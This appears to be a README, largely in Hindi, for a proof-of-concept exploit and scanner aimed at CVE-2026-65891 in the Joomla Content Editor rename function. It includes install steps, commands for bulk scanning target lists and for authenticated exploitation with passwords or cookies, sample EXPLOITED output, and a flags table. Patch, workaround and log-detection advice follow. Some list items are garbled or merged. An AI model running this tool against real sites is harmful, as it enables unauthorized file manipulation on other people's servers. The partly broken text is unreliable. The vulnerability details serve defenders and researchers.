
CVE-2026-65891 PoC — Joomla Content Editor file rename vulnerability (auth required, fixed in JCE 2.20.2)
CVE-2026-65891 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्कैनर Joomla Content Editor (JCE) एक्सटेंशन में।
JCE फ़ाइल मैनेजर rename फ़ंक्शन में अनुचित इनपुट सत्यापन, फ़ाइल-प्रबंधन अनुमतियों वाले एक प्रमाणित उपयोगकर्ता को निम्न की अनुमति देता है:
.shell.php)केवल अधिकृत परीक्षण। केवल उन्हीं सिस्टम पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-65891 |
| उत्पाद | JCE (com_jce) — Widget Factory Limited |
| प्रभावित | JCE < 2.20.2 (2.20.1 / 2.9.99.9 तक) |
| हल | JCE 2.20.2+ (2026-07-29) |
| CVSS 3.1 | 6.5 मध्यम |
| CWE | CWE-20 — अनुचित इनपुट सत्यापन |
| प्रमाणीकरण | आवश्यक — JCE अपलोड + rename अनुमतियाँ |
| KEV | नहीं |
यह अप्रमाणित RCE नहीं है। इसे CVE-2026-48907 (JCE प्रोफ़ाइल आयात, बिना प्रमाणीकरण) के साथ भ्रमित न करें।
JCE browser / imgmanager rename हैंडलर गंतव्य फ़ाइलनामों को स्वीकार करते थे जिन्हें अस्वीकार किया जाना चाहिए था:
. से शुरू होने वाले नाम (POSIX पर छिपे हुए)2.20.2 में हल: rename/copy/move पर एक्सटेंशन सत्यापन और कोई चुपचाप अधिलेखन नहीं।
check (कोई प्रमाण-पत्र नहीं)jce.xml / एसेट्स से JCE संस्करण पढ़नाprobe / exploit (प्रमाण-पत्र आवश्यक)/administrator/ के माध्यम से लॉगिन करें (या --frontend-login)plugin.rpc (browser प्लगइन) के माध्यम से एक मार्कर .txt अपलोड करें.cve65891_<random>.txt में rename करें (छिपा हुआ)GET /images/.cve65891_*.txt — यदि मार्कर पठनीय है → EXPLOITEDgit clone https://github.com/YOUR_USER/CVE-2026-65891.git
cd CVE-2026-65891
pip install -r requirements.txt
आवश्यकताएँ: Python 3.10+
# Version / fingerprint scan (bulk, no auth)
python poc_cve_2026_65891.py -f targets.txt -m check -j 30 -o version_hits.txt
# Single target — full check
python poc_cve_2026_65891.py -u https://joomla.example -m check -v
# Authenticated rename test
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--user editor --pass 'YourPassword' -v
# Session cookie instead of password
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--cookie-file cookie.txt -v
EXPLOITED https://joomla.example joomla=True jce=True ver=2.20.1 auth=YES upload=YES rename=YES hidden=YES url=https://joomla.example/images/.cve65891_a1b2c3d4.txt
VULNERABLE https://site.example joomla=True jce=True ver=2.9.99.9 rename=YES err=rename_ok_but_hidden_not_readable
SUSPECT https://old.example joomla=True jce=True ver=2.20.1 err=need_auth_--user_--pass_or_--cookie-file
केवल VULNERABLE और EXPLOITED पंक्तियाँ -o में लिखी जाती हैं।
परीक्षण खाते में JCE एडिटर प्रोफ़ाइल होनी चाहिए जिसमें:
सामान्यतः: Editor, Manager, या Administrator — साधारण पंजीकृत उपयोगकर्ता नहीं।
JCE को 2.20.2 या बाद के संस्करण में अपग्रेड करें
Extensions → Manage → Update या joomlacontenteditor.net से डाउनलोड करें
पैच होने तक: गैर-विश्वसनीय उपयोगकर्ता समूहों (Image Manager, File Browser) के लिए JCE प्रोफ़ाइल सेटिंग्स में Rename अक्षम करें।
निम्न के लिए प्रमाणित अनुरोधों की तलाश करें:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser
जिनमें method=rename / renameItem और . से शुरू होने वाले गंतव्य नाम हों।
JCE अपलोड पथों (/images/, /media/) के अंतर्गत अप्रत्याशित छिपी हुई फ़ाइलें।
यह टूल केवल सुरक्षा अनुसंधान, शिक्षा, और अधिकृत पेनेट्रेशन परीक्षण के लिए है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
MIT — LICENSE देखें।
| फ़्लैग | विवरण |
|---|
-u, --url | एकल Joomla बेस URL |
-f, --file | लक्ष्य सूची (प्रति पंक्ति एक URL) |
-m, --mode | check · probe · exploit · full (डिफ़ॉल्ट: full) |
-j, --threads | समानांतर वर्कर (डिफ़ॉल्ट: 15) |
-t, --timeout | HTTP टाइमआउट सेकंड (डिफ़ॉल्ट: 25) |
-o, --output | केवल VULNERABLE / EXPLOITED हिट लिखें |
--user | Joomla उपयोगकर्ता नाम |
--pass | Joomla पासवर्ड |
--cookie-file | रॉ Cookie: हेडर फ़ाइल (लॉगिन छोड़ें) |
--upload-dir | JCE अपलोड निर्देशिका (डिफ़ॉल्ट: images) |
--frontend-login | एडमिनिस्ट्रेटर के बजाय फ्रंटएंड के माध्यम से लॉगिन |
-v, --verbose | डीबग आउटपुट |
| मोड | प्रमाणीकरण | विवरण |
|---|
check | नहीं | Joomla + JCE + संस्करण |
probe | हाँ | अपलोड + छिपा rename + सत्यापन |
exploit | हाँ | probe के समान |
full | हाँ* | पहले check फिर probe (*probe के लिए प्रमाणीकरण आवश्यक) |